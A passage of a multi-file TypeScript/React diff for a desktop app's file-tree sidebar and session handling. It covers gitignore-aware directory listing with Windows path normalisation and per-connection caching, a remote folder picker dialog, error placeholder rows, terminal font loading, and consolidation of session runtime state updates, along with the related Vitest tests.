* still owns the `window.__isReactDndHtml5Backend` setup flag — so the new
|
||||
* backend's `setup()` throws "Cannot have two HTML5 backends at the same
|
||||
* time." and trips the file-tree error boundary (it never recovers, because
|
||||
* "Try again" just remounts into the same race).
|
||||
*
|
||||
* Passing arborist a stable `dndManager` makes it skip the global-singleton
|
||||
* path entirely and reuse one backend for the lifetime of the app, so the
|
||||
* window flag is never double-claimed.
|
||||
*/
|
||||
export function getFileTreeDndManager(): DragDropManager {
|
||||
manager ??= createDragDropManager(HTML5Backend)
|
||||
|
||||
return manager
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
/// <reference types="node" />
|
||||
|
||||
import { Buffer } from 'node:buffer'
|
||||
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
|
||||
|
||||
import { clearProjectDirCache, readProjectDir } from './ipc'
|
||||
|
||||
const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
|
||||
const readFileDataUrl = vi.fn<(path: string) => Promise<string>>()
|
||||
const gitRoot = vi.fn<(path: string) => Promise<string | null>>()
|
||||
|
||||
function ok(entries: HermesReadDirEntry[]): HermesReadDirResult {
|
||||
return { entries }
|
||||
}
|
||||
|
||||
function dataUrl(text: string) {
|
||||
return `data:text/plain;base64,${Buffer.from(text, 'utf8').toString('base64')}`
|
||||
}
|
||||
|
||||
function installBridge() {
|
||||
;(
|
||||
window as unknown as {
|
||||
hermesDesktop: {
|
||||
gitRoot: typeof gitRoot
|
||||
readDir: typeof readDir
|
||||
readFileDataUrl: typeof readFileDataUrl
|
||||
}
|
||||
}
|
||||
).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
|
||||
}
|
||||
|
||||
describe('readProjectDir', () => {
|
||||
beforeEach(() => {
|
||||
clearProjectDirCache()
|
||||
readDir.mockReset()
|
||||
readFileDataUrl.mockReset()
|
||||
gitRoot.mockReset()
|
||||
installBridge()
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
clearProjectDirCache()
|
||||
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
|
||||
})
|
||||
|
||||
it('returns no-bridge when the desktop bridge is unavailable', async () => {
|
||||
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
|
||||
|
||||
await expect(readProjectDir('/repo')).resolves.toEqual({ entries: [], error: 'no-bridge' })
|
||||
})
|
||||
|
||||
it('filters gitignored entries when readDir returns Windows-style paths', async () => {
|
||||
gitRoot.mockResolvedValue('C:\\repo')
|
||||
readDir.mockImplementation(async path => {
|
||||
if (path === 'C:\\repo\\src') {
|
||||
return ok([
|
||||
{ name: 'debug.log', path: 'C:\\repo\\src\\debug.log', isDirectory: false },
|
||||
{ name: '临时.txt', path: 'C:\\repo\\src\\临时.txt', isDirectory: false },
|
||||
{ name: 'keep.ts', path: 'C:\\repo\\src\\keep.ts', isDirectory: false }
|
||||
])
|
||||
}
|
||||
|
||||
if (path === 'C:/repo') {
|
||||
return ok([{ name: '.gitignore', path: 'C:/repo/.gitignore', isDirectory: false }])
|
||||
}
|
||||
|
||||
if (path === 'C:/repo/src') {
|
||||
return ok([])
|
||||
}
|
||||
|
||||
return ok([])
|
||||
})
|
||||
readFileDataUrl.mockResolvedValue(dataUrl('# Unicode 路径规则\nsrc/*.log\nsrc/临时.txt\n'))
|
||||
|
||||
const result = await readProjectDir('C:\\repo\\src', 'C:\\repo')
|
||||
|
||||
expect(result.entries.map(entry => entry.name)).toEqual(['keep.ts'])
|
||||
expect(gitRoot).toHaveBeenCalledWith('C:/repo')
|
||||
expect(readFileDataUrl).toHaveBeenCalledWith('C:/repo/.gitignore')
|
||||
})
|
||||
|
||||
it('does not fetch .gitignore contents when listings do not contain .gitignore', async () => {
|
||||
gitRoot.mockResolvedValue('/repo')
|
||||
readDir.mockImplementation(async path => {
|
||||
if (path === '/repo/src') {
|
||||
return ok([{ name: 'debug.log', path: '/repo/src/debug.log', isDirectory: false }])
|
||||
}
|
||||
|
||||
return ok([])
|
||||
})
|
||||
|
||||
const result = await readProjectDir('/repo/src', '/repo')
|
||||
|
||||
expect(result.entries.map(entry => entry.name)).toEqual(['debug.log'])
|
||||
expect(readFileDataUrl).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
@@ -1,5 +1,6 @@
|
||||
import ignore from 'ignore'
|
||||
|
||||
import { desktopFsCacheKey, desktopGitRoot, readDesktopDir, readDesktopFileDataUrl } from '@/lib/desktop-fs'
|
||||
import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
|
||||
|
||||
export type ProjectTreeEntry = HermesReadDirEntry
|
||||
@@ -27,7 +28,7 @@ function decodeDataUrl(dataUrl: string) {
|
||||
}
|
||||
|
||||
function clean(path: string) {
|
||||
return path.replace(/\/+$/, '') || '/'
|
||||
return path.replace(/\\/g, '/').replace(/\/+$/, '') || '/'
|
||||
}
|
||||
|
||||
/** Strict POSIX-style relative path; null if `child` is not inside `root`. */
|
||||
@@ -63,15 +64,11 @@ function ancestorDirs(root: string, dir: string) {
|
||||
}
|
||||
|
||||
async function gitRootFor(start: string) {
|
||||
if (!window.hermesDesktop?.gitRoot) {
|
||||
return null
|
||||
}
|
||||
|
||||
const key = clean(start)
|
||||
const key = `${desktopFsCacheKey()}:${clean(start)}`
|
||||
let cached = gitRootCache.get(key)
|
||||
|
||||
if (!cached) {
|
||||
cached = window.hermesDesktop.gitRoot(key)
|
||||
cached = desktopGitRoot(start)
|
||||
gitRootCache.set(key, cached)
|
||||
}
|
||||
|
||||
@@ -80,18 +77,14 @@ async function gitRootFor(start: string) {
|
||||
|
||||
/** Read .gitignore at `dir` if it actually exists — never probe missing files. */
|
||||
async function readGitignore(dir: string): Promise<GitignoreRule | null> {
|
||||
if (!window.hermesDesktop?.readDir || !window.hermesDesktop.readFileDataUrl) {
|
||||
return null
|
||||
}
|
||||
|
||||
try {
|
||||
const listing = await window.hermesDesktop.readDir(dir)
|
||||
const listing = await readDesktopDir(dir)
|
||||
|
||||
if (!listing.entries.some(e => e.name === '.gitignore' && !e.isDirectory)) {
|
||||
return null
|
||||
}
|
||||
|
||||
const text = decodeDataUrl(await window.hermesDesktop.readFileDataUrl(`${dir}/.gitignore`))
|
||||
const text = decodeDataUrl(await readDesktopFileDataUrl(`${dir}/.gitignore`))
|
||||
|
||||
return { base: dir, ig: ignore().add(text) }
|
||||
} catch {
|
||||
@@ -100,11 +93,11 @@ async function readGitignore(dir: string): Promise<GitignoreRule | null> {
|
||||
}
|
||||
|
||||
async function gitignoreFor(dir: string) {
|
||||
const key = clean(dir)
|
||||
const key = `${desktopFsCacheKey()}:${clean(dir)}`
|
||||
let cached = gitignoreCache.get(key)
|
||||
|
||||
if (!cached) {
|
||||
cached = readGitignore(key)
|
||||
cached = readGitignore(clean(dir))
|
||||
gitignoreCache.set(key, cached)
|
||||
}
|
||||
|
||||
@@ -142,9 +135,10 @@ export async function readProjectDir(dirPath: string, rootPath = dirPath): Promi
|
||||
return { entries: [], error: 'no-bridge' }
|
||||
}
|
||||
|
||||
const result = await window.hermesDesktop.readDir(dirPath)
|
||||
const result = await readDesktopDir(dirPath)
|
||||
const entries = result?.entries ?? []
|
||||
|
||||
return { ...result, entries: await filterIgnored(result.entries, rootPath, dirPath) }
|
||||
return { ...result, entries: await filterIgnored(entries, rootPath, dirPath) }
|
||||
}
|
||||
|
||||
export function clearProjectDirCache(rootPath?: string) {
|
||||
@@ -155,7 +149,7 @@ export function clearProjectDirCache(rootPath?: string) {
|
||||
return
|
||||
}
|
||||
|
||||
const key = clean(rootPath)
|
||||
const key = `${desktopFsCacheKey()}:${clean(rootPath)}`
|
||||
gitRootCache.delete(key)
|
||||
gitignoreCache.delete(key)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,177 @@
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Codicon } from '@/components/ui/codicon'
|
||||
import { Dialog, DialogContent, DialogDescription, DialogTitle } from '@/components/ui/dialog'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { readDesktopDir, setDesktopFsRemotePicker } from '@/lib/desktop-fs'
|
||||
import { cn } from '@/lib/utils'
|
||||
|
||||
function clean(path: string) {
|
||||
return path.replace(/\/+$/, '') || '/'
|
||||
}
|
||||
|
||||
function parentDir(path: string) {
|
||||
const value = clean(path)
|
||||
if (value === '/') {
|
||||
return '/'
|
||||
}
|
||||
const parent = value.slice(0, value.lastIndexOf('/'))
|
||||
return parent || '/'
|
||||
}
|
||||
|
||||
function pathName(path: string) {
|
||||
return path.split('/').filter(Boolean).pop() || path
|
||||
}
|
||||
|
||||
interface PendingSelection {
|
||||
defaultPath: string
|
||||
resolve: (paths: string[]) => void
|
||||
title: string
|
||||
}
|
||||
|
||||
export function RemoteFolderPicker() {
|
||||
const { t } = useI18n()
|
||||
const r = t.rightSidebar
|
||||
const [pending, setPending] = useState<PendingSelection | null>(null)
|
||||
const [currentPath, setCurrentPath] = useState('/')
|
||||
const [entries, setEntries] = useState<Array<{ name: string; path: string }>>([])
|
||||
const [error, setError] = useState<string | null>(null)
|
||||
const [loading, setLoading] = useState(false)
|
||||
|
||||
useEffect(() => {
|
||||
setDesktopFsRemotePicker({
|
||||
selectPaths: options =>
|
||||
new Promise(resolve => {
|
||||
const defaultPath = clean(options?.defaultPath || '/')
|
||||
setCurrentPath(defaultPath)
|
||||
setPending({ defaultPath, resolve, title: options?.title || r.remotePickerTitle })
|
||||
})
|
||||
})
|
||||
return () => setDesktopFsRemotePicker(null)
|
||||
}, [r.remotePickerTitle])
|
||||
|
||||
useEffect(() => {
|
||||
if (!pending) {
|
||||
return
|
||||
}
|
||||
|
||||
let active = true
|
||||
setLoading(true)
|
||||
setError(null)
|
||||
|
||||
void readDesktopDir(currentPath)
|
||||
.then(result => {
|
||||
if (!active) {
|
||||
return
|
||||
}
|
||||
if (result.error) {
|
||||
setError(result.error)
|
||||
setEntries([])
|
||||
return
|
||||
}
|
||||
setEntries(result.entries.filter(entry => entry.isDirectory).map(entry => ({ name: entry.name, path: entry.path })))
|
||||
})
|
||||
.catch(err => {
|
||||
if (active) {
|
||||
setError(err instanceof Error ? err.message : String(err))
|
||||
setEntries([])
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (active) {
|
||||
setLoading(false)
|
||||
}
|
||||
})
|
||||
|
||||
return () => {
|
||||
active = false
|
||||
}
|
||||
}, [currentPath, pending])
|
||||
|
||||
const crumbs = useMemo(() => {
|
||||
const parts = clean(currentPath).split('/').filter(Boolean)
|
||||
const out = [{ label: '/', path: '/' }]
|
||||
let acc = ''
|
||||
for (const part of parts) {
|
||||
acc += `/${part}`
|
||||
out.push({ label: part, path: acc })
|
||||
}
|
||||
return out
|
||||
}, [currentPath])
|
||||
|
||||
const close = (paths: string[] = []) => {
|
||||
pending?.resolve(paths)
|
||||
setPending(null)
|
||||
setEntries([])
|
||||
setError(null)
|
||||
}
|
||||
|
||||
return (
|
||||
<Dialog onOpenChange={open => !open && close()} open={Boolean(pending)}>
|
||||
<DialogContent className="max-w-lg gap-0 overflow-hidden p-0">
|
||||
<div className="border-b border-border/70 px-4 py-3">
|
||||
<DialogTitle className="text-sm">{pending?.title || r.remotePickerTitle}</DialogTitle>
|
||||
<DialogDescription className="mt-1 text-xs">{r.remotePickerDescription}</DialogDescription>
|
||||
</div>
|
||||
|
||||
<div className="flex min-h-[22rem] flex-col">
|
||||
<div className="flex flex-wrap items-center gap-1 border-b border-border/50 px-3 py-2 text-xs text-muted-foreground">
|
||||
{crumbs.map((crumb, index) => (
|
||||
<button
|
||||
className={cn('rounded px-1.5 py-0.5 hover:bg-muted hover:text-foreground', index === crumbs.length - 1 && 'text-foreground')}
|
||||
key={crumb.path}
|
||||
onClick={() => setCurrentPath(crumb.path)}
|
||||
type="button"
|
||||
>
|
||||
{crumb.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="min-h-0 flex-1 overflow-y-auto p-2">
|
||||
<FolderRow disabled={currentPath === '/'} name=".." onClick={() => setCurrentPath(parentDir(currentPath))} />
|
||||
{loading ? (
|
||||
<div className="flex items-center gap-2 px-2 py-3 text-xs text-muted-foreground">
|
||||
<Codicon name="loading" size="0.8rem" spinning />
|
||||
{r.loadingFiles}
|
||||
</div>
|
||||
) : error ? (
|
||||
<div className="px-2 py-3 text-xs text-destructive">{r.unreadableBody(error)}</div>
|
||||
) : entries.length === 0 ? (
|
||||
<div className="px-2 py-3 text-xs text-muted-foreground">{r.emptyBody}</div>
|
||||
) : (
|
||||
entries.map(entry => <FolderRow key={entry.path} name={pathName(entry.path)} onClick={() => setCurrentPath(entry.path)} />)
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center justify-between gap-2 border-t border-border/70 px-4 py-3">
|
||||
<div className="min-w-0 truncate text-xs text-muted-foreground">{currentPath}</div>
|
||||
<div className="flex shrink-0 items-center gap-2">
|
||||
<Button onClick={() => close()} size="sm" variant="ghost">
|
||||
{t.common.cancel}
|
||||
</Button>
|
||||
<Button onClick={() => close([currentPath])} size="sm">
|
||||
{r.remotePickerSelect}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
)
|
||||
}
|
||||
|
||||
function FolderRow({ disabled = false, name, onClick }: { disabled?: boolean; name: string; onClick: () => void }) {
|
||||
return (
|
||||
<button
|
||||
className="flex w-full items-center gap-2 rounded-md px-2 py-1.5 text-left text-xs text-(--ui-text-secondary) hover:bg-(--ui-row-hover-background) hover:text-foreground disabled:pointer-events-none disabled:opacity-40"
|
||||
disabled={disabled}
|
||||
onClick={onClick}
|
||||
type="button"
|
||||
>
|
||||
<Codicon name="folder" size="0.875rem" />
|
||||
<span className="min-w-0 truncate">{name}</span>
|
||||
</button>
|
||||
)
|
||||
}
|
||||
@@ -7,6 +7,7 @@ import { useResizeObserver } from '@/hooks/use-resize-observer'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { cn } from '@/lib/utils'
|
||||
|
||||
import { getFileTreeDndManager } from './dnd-manager'
|
||||
import type { TreeNode } from './use-project-tree'
|
||||
|
||||
const ROW_HEIGHT = 22
|
||||
@@ -94,6 +95,7 @@ export function ProjectTree({
|
||||
disableDrag
|
||||
disableDrop
|
||||
disableEdit
|
||||
dndManager={getFileTreeDndManager()}
|
||||
height={size.height}
|
||||
indent={INDENT}
|
||||
initialOpenState={openState}
|
||||
@@ -145,7 +147,8 @@ function ProjectTreeRow({
|
||||
}
|
||||
|
||||
const isFolder = node.data.isDirectory
|
||||
const isPlaceholder = node.data.id.endsWith('::__loading__')
|
||||
const isPlaceholder = Boolean(node.data.placeholder)
|
||||
const isErrorPlaceholder = node.data.placeholder === 'error'
|
||||
|
||||
return (
|
||||
<div
|
||||
@@ -210,8 +213,10 @@ function ProjectTreeRow({
|
||||
)}
|
||||
{!isFolder && <span aria-hidden className="w-3 shrink-0" />}
|
||||
<span aria-hidden className="flex w-3.5 items-center justify-center text-(--ui-text-tertiary)">
|
||||
{isPlaceholder ? (
|
||||
{isPlaceholder && !isErrorPlaceholder ? (
|
||||
<Codicon name="loading" size="0.75rem" spinning />
|
||||
) : isErrorPlaceholder ? (
|
||||
<Codicon name="warning" size="0.75rem" />
|
||||
) : isFolder ? (
|
||||
<Codicon name={node.isOpen ? 'folder-opened' : 'folder'} size="0.875rem" />
|
||||
) : (
|
||||
|
||||
@@ -1,19 +1,24 @@
|
||||
import { act, renderHook, waitFor } from '@testing-library/react'
|
||||
import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
import type { HermesReadDirResult } from '@/global'
|
||||
|
||||
import { clearProjectDirCache, readProjectDir } from './ipc'
|
||||
import { resetProjectTreeState, useProjectTree } from './use-project-tree'
|
||||
|
||||
const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
|
||||
|
||||
beforeEach(() => {
|
||||
$connection.set(null)
|
||||
resetProjectTreeState()
|
||||
readDir.mockReset()
|
||||
;(window as unknown as { hermesDesktop: { readDir: typeof readDir } }).hermesDesktop = { readDir }
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
cleanup()
|
||||
$connection.set(null)
|
||||
resetProjectTreeState()
|
||||
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
|
||||
})
|
||||
@@ -106,7 +111,37 @@ describe('useProjectTree', () => {
|
||||
expect(readDir).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('captures per-folder error code and leaves the folder expandable but empty', async () => {
|
||||
it('reads gitignore from the real path while caching per connection', async () => {
|
||||
const readFileDataUrl = vi.fn(async () => `data:text/plain;base64,${btoa('ignored.log\n')}`)
|
||||
const gitRoot = vi.fn(async () => '/repo')
|
||||
readDir.mockImplementation(async path => {
|
||||
if (path === '/repo') return ok([{ name: '.gitignore', path: '/repo/.gitignore', isDirectory: false }])
|
||||
if (path === '/repo/src') {
|
||||
return ok([
|
||||
{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false },
|
||||
{ name: 'ignored.log', path: '/repo/src/ignored.log', isDirectory: false }
|
||||
])
|
||||
}
|
||||
throw new Error(`unexpected path ${path}`)
|
||||
})
|
||||
;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
|
||||
|
||||
$connection.set({ baseUrl: 'local-a', mode: 'local' } as never)
|
||||
await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
|
||||
entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
|
||||
})
|
||||
expect(readDir).toHaveBeenCalledWith('/repo')
|
||||
expect(readDir).not.toHaveBeenCalledWith(expect.stringContaining('local-a'))
|
||||
|
||||
$connection.set({ baseUrl: 'local-b', mode: 'local' } as never)
|
||||
clearProjectDirCache()
|
||||
await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
|
||||
entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
|
||||
})
|
||||
expect(readDir.mock.calls.filter(([path]) => path === '/repo')).toHaveLength(2)
|
||||
})
|
||||
|
||||
it('captures per-folder error code and shows an error placeholder child', async () => {
|
||||
readDir.mockResolvedValueOnce(ok([{ name: 'priv', path: '/p/priv', isDirectory: true }]))
|
||||
readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
|
||||
|
||||
@@ -119,7 +154,14 @@ describe('useProjectTree', () => {
|
||||
})
|
||||
|
||||
expect(result.current.data[0].error).toBe('EACCES')
|
||||
expect(result.current.data[0].children).toEqual([])
|
||||
expect(result.current.data[0].children).toEqual([
|
||||
{
|
||||
id: '/p/priv::__error__',
|
||||
isDirectory: false,
|
||||
name: 'Unable to read (EACCES)',
|
||||
placeholder: 'error'
|
||||
}
|
||||
])
|
||||
})
|
||||
|
||||
it('dedupes concurrent loadChildren calls for the same id', async () => {
|
||||
|
||||
@@ -2,6 +2,8 @@ import { useStore } from '@nanostores/react'
|
||||
import { atom } from 'nanostores'
|
||||
import { useCallback, useEffect, useMemo } from 'react'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import { clearProjectDirCache, readProjectDir } from './ipc'
|
||||
|
||||
export interface TreeNode {
|
||||
@@ -14,11 +16,14 @@ export interface TreeNode {
|
||||
children?: TreeNode[]
|
||||
/** True while a readDir for this folder is in flight. */
|
||||
loading?: boolean
|
||||
/** Synthetic loading/error rows are not real filesystem entries. */
|
||||
placeholder?: 'error' | 'loading'
|
||||
/** Last error code from readDir (e.g. EACCES). Cleared on next successful load. */
|
||||
error?: string
|
||||
}
|
||||
|
||||
const PLACEHOLDER_ID = '__loading__'
|
||||
const ERROR_PLACEHOLDER_ID = '__error__'
|
||||
|
||||
function makeNode(path: string, name: string, isDirectory: boolean): TreeNode {
|
||||
return { id: path, isDirectory, name }
|
||||
@@ -43,7 +48,16 @@ function patchNode(nodes: TreeNode[] | undefined | null, id: string, patch: (n:
|
||||
}
|
||||
|
||||
function placeholderChild(parentId: string): TreeNode {
|
||||
return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…' }
|
||||
return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…', placeholder: 'loading' }
|
||||
}
|
||||
|
||||
function errorChild(parentId: string, error: string | undefined): TreeNode {
|
||||
return {
|
||||
id: `${parentId}::${ERROR_PLACEHOLDER_ID}`,
|
||||
isDirectory: false,
|
||||
name: `Unable to read (${error || 'read-error'})`,
|
||||
placeholder: 'error'
|
||||
}
|
||||
}
|
||||
|
||||
export interface UseProjectTreeResult {
|
||||
@@ -84,6 +98,7 @@ const initialState: ProjectTreeState = {
|
||||
const inflight = new Set<string>()
|
||||
const $projectTree = atom<ProjectTreeState>(initialState)
|
||||
let nextRootRequestId = 0
|
||||
let lastConnectionKey = ''
|
||||
|
||||
function setProjectTree(updater: (current: ProjectTreeState) => ProjectTreeState) {
|
||||
$projectTree.set(updater($projectTree.get()))
|
||||
@@ -145,6 +160,7 @@ async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}
|
||||
}
|
||||
|
||||
export function resetProjectTreeState() {
|
||||
lastConnectionKey = ''
|
||||
clearProjectTree()
|
||||
clearProjectDirCache()
|
||||
}
|
||||
@@ -158,6 +174,8 @@ export function resetProjectTreeState() {
|
||||
*/
|
||||
export function useProjectTree(cwd: string): UseProjectTreeResult {
|
||||
const state = useStore($projectTree)
|
||||
const connection = useStore($connection)
|
||||
const connectionKey = `${connection?.mode || 'local'}:${connection?.profile || ''}:${connection?.baseUrl || ''}`
|
||||
|
||||
const refreshRoot = useCallback(() => loadRoot(cwd, { force: true }), [cwd])
|
||||
|
||||
@@ -227,7 +245,7 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
|
||||
...n,
|
||||
loading: false,
|
||||
error: error || undefined,
|
||||
children: error ? [] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
|
||||
children: error ? [errorChild(n.id, error)] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
|
||||
}))
|
||||
}
|
||||
})
|
||||
@@ -236,8 +254,15 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
const connectionChanged = lastConnectionKey !== '' && lastConnectionKey !== connectionKey
|
||||
lastConnectionKey = connectionKey
|
||||
if (connectionChanged) {
|
||||
clearProjectDirCache()
|
||||
void loadRoot(cwd, { force: true })
|
||||
return
|
||||
}
|
||||
void loadRoot(cwd)
|
||||
}, [cwd])
|
||||
}, [connectionKey, cwd])
|
||||
|
||||
return useMemo(
|
||||
() => ({
|
||||
|
||||
@@ -7,6 +7,7 @@ import { Codicon } from '@/components/ui/codicon'
|
||||
import { Loader } from '@/components/ui/loader'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { selectDesktopPaths } from '@/lib/desktop-fs'
|
||||
import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { $panesFlipped } from '@/store/layout'
|
||||
@@ -16,6 +17,7 @@ import { $currentCwd } from '@/store/session'
|
||||
|
||||
import { SidebarPanelLabel } from '../shell/sidebar-label'
|
||||
|
||||
import { RemoteFolderPicker } from './files/remote-picker'
|
||||
import { ProjectTree } from './files/tree'
|
||||
import { useProjectTree } from './files/use-project-tree'
|
||||
|
||||
@@ -54,7 +56,7 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
|
||||
const canCollapse = Object.values(openState).some(Boolean)
|
||||
|
||||
const chooseFolder = async () => {
|
||||
const selected = await window.hermesDesktop?.selectPaths({
|
||||
const selected = await selectDesktopPaths({
|
||||
defaultPath: hasCwd ? currentCwd : undefined,
|
||||
directories: true,
|
||||
multiple: false,
|
||||
@@ -90,6 +92,8 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
|
||||
: 'border-l shadow-[inset_0.0625rem_0_0_color-mix(in_srgb,white_18%,transparent)]'
|
||||
)}
|
||||
>
|
||||
<RemoteFolderPicker />
|
||||
|
||||
<FilesystemTab
|
||||
canCollapse={canCollapse}
|
||||
collapseNonce={collapseNonce}
|
||||
|
||||
@@ -315,8 +315,11 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
allowTransparency: true,
|
||||
convertEol: true,
|
||||
cursorBlink: true,
|
||||
fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
|
||||
fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
|
||||
fontSize: 11,
|
||||
fontWeight: '400',
|
||||
fontWeightBold: '700',
|
||||
letterSpacing: 0,
|
||||
lineHeight: 1.12,
|
||||
// Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
|
||||
// can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
|
||||
@@ -598,13 +601,13 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
|
||||
startSession()
|
||||
}
|
||||
|
||||
const fonts = typeof document !== 'undefined' ? document.fonts : undefined
|
||||
// fonts.ready settles only already-requested faces; bold/italic aren't asked
|
||||
// for until styled output paints (past atlas init), so warm them up front.
|
||||
const warm = document.fonts?.load
|
||||
? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
|
||||
: Promise.resolve()
|
||||
|
||||
if (fonts?.ready) {
|
||||
void fonts.ready.then(mount, mount)
|
||||
} else {
|
||||
mount()
|
||||
}
|
||||
void warm.then(mount, mount)
|
||||
|
||||
return () => {
|
||||
disposed = true
|
||||
|
||||
@@ -64,6 +64,67 @@ interface QueuedStreamDeltas {
|
||||
reasoning: string
|
||||
}
|
||||
|
||||
type SessionRuntimeStatePatch = Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
| 'branch'
|
||||
| 'cwd'
|
||||
| 'fast'
|
||||
| 'model'
|
||||
| 'personality'
|
||||
| 'provider'
|
||||
| 'reasoningEffort'
|
||||
| 'serviceTier'
|
||||
| 'yolo'
|
||||
>
|
||||
>
|
||||
|
||||
function sessionInfoStatePatch(payload: GatewayEventPayload | undefined): SessionRuntimeStatePatch {
|
||||
const patch: SessionRuntimeStatePatch = {}
|
||||
|
||||
if (typeof payload?.model === 'string') {
|
||||
patch.model = payload.model || ''
|
||||
}
|
||||
|
||||
if (typeof payload?.provider === 'string') {
|
||||
patch.provider = payload.provider || ''
|
||||
}
|
||||
|
||||
if (typeof payload?.cwd === 'string') {
|
||||
patch.cwd = payload.cwd
|
||||
}
|
||||
|
||||
if (typeof payload?.branch === 'string') {
|
||||
patch.branch = payload.branch
|
||||
}
|
||||
|
||||
if (typeof payload?.personality === 'string') {
|
||||
patch.personality = normalizePersonalityValue(payload.personality)
|
||||
}
|
||||
|
||||
if (typeof payload?.reasoning_effort === 'string') {
|
||||
patch.reasoningEffort = payload.reasoning_effort
|
||||
}
|
||||
|
||||
if (typeof payload?.service_tier === 'string') {
|
||||
patch.serviceTier = payload.service_tier
|
||||
}
|
||||
|
||||
if (typeof payload?.fast === 'boolean') {
|
||||
patch.fast = payload.fast
|
||||
}
|
||||
|
||||
if (typeof payload?.yolo === 'boolean') {
|
||||
patch.yolo = payload.yolo
|
||||
}
|
||||
|
||||
return patch
|
||||
}
|
||||
|
||||
function hasSessionInfoStatePatch(patch: SessionRuntimeStatePatch): boolean {
|
||||
return Object.keys(patch).length > 0
|
||||
}
|
||||
|
||||
// Minimum gap between two assistant-text flushes during a stream. Was 16ms
|
||||
// (rAF only), which at typical LLM token rates of ~30-80 tok/sec meant every
|
||||
// token got its own React commit + Streamdown markdown re-parse, scaling
|
||||
@@ -628,36 +689,27 @@ export function useMessageStream({
|
||||
// Apply session-scoped fields when the event targets the active
|
||||
// session, OR when it's a global broadcast and we have no session.
|
||||
const apply = explicitSid ? isActiveEvent : !activeSessionIdRef.current
|
||||
const statePatch = sessionInfoStatePatch(payload)
|
||||
const hasStatePatch = hasSessionInfoStatePatch(statePatch)
|
||||
const modelChanged = typeof payload?.model === 'string'
|
||||
const providerChanged = typeof payload?.provider === 'string'
|
||||
const runningChanged = typeof payload?.running === 'boolean'
|
||||
|
||||
if (apply) {
|
||||
const runtimeInfo: Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
'branch' | 'cwd' | 'fast' | 'model' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'
|
||||
>
|
||||
> = {}
|
||||
|
||||
if (modelChanged) {
|
||||
setCurrentModel(payload!.model || '')
|
||||
runtimeInfo.model = payload!.model || ''
|
||||
}
|
||||
|
||||
if (providerChanged) {
|
||||
setCurrentProvider(payload!.provider || '')
|
||||
runtimeInfo.provider = payload!.provider || ''
|
||||
}
|
||||
|
||||
if (typeof payload?.cwd === 'string') {
|
||||
setCurrentCwd(payload.cwd)
|
||||
runtimeInfo.cwd = payload.cwd
|
||||
}
|
||||
|
||||
if (typeof payload?.branch === 'string') {
|
||||
setCurrentBranch(payload.branch)
|
||||
runtimeInfo.branch = payload.branch
|
||||
}
|
||||
|
||||
if (typeof payload?.personality === 'string') {
|
||||
@@ -666,28 +718,31 @@ export function useMessageStream({
|
||||
|
||||
if (typeof payload?.reasoning_effort === 'string') {
|
||||
setCurrentReasoningEffort(payload.reasoning_effort)
|
||||
